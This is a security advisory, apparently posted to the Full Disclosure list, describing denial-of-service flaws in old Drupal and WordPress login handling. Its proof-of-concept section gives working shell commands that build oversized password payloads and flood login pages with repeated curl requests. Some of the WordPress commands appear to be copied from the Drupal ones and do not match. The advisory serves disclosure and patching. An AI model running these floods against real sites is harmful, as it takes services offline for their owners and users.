Drupal 7.34 Memory Exhaustion

2014.12.02
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-399

==================================================================== DESCRIPTION: ==================================================================== A vulnerability present in Wordpress < 4.0.1 and Drupal < 7.34 allows an attacker to send specially crafted requests resulting in CPU and memory exhaustion. This may lead to the site becoming unavailable or unresponsive (denial of service). ==================================================================== Time Line: ==================================================================== November 19, 2014 - A Drupal security update and the security advisory is published. November 20, 2014 - A Wordpress security update and the security advisory is published. ==================================================================== Proof of Concept: ==================================================================== Drupal Denial of Service CVE-2014-9016 Generate a pyaload and try with a non-valid user: $ echo -n "name=NO-VALID-USER&pass=" > no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> no_valid_user_payload $ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null & Generate a pyaload and try with a valid user: $ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload $ time curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null & Perform a Dos with a valid user: $ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.25; done Wordpress Denial of Service CVE-2014-9034 Generate a pyaload and try with a non-valid user: $ echo -n "log=NO-VALID-USER&pwd=" > payload && printf "%s" {1..1000000} >> payload && echo -n "&wp-submit=Log In" >> payload $ time curl --data @no_valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null & Generate a pyaload and try with a valid user: $ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload $ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null & Perform a Dos with a valid user: $ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep 0.25; done ==================================================================== Authors: ==================================================================== -- Javer Nieto -- http://www.behindthefirewalls.com -- Andres Rojas -- http://www.devconsole.info ==================================================================== References: ==================================================================== * https://wordpress.org/news/2014/11/wordpress-4-0-1/ * https://www.drupal.org/SA-CORE-2014-006 * http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html * http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html * http://www.devconsole.info/?p=1050 _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/

References:

http://www.behindthefirewalls.com
https://wordpress.org/news/2014/11/wordpress-4-0-1/
https://www.drupal.org/SA-CORE-2014-006


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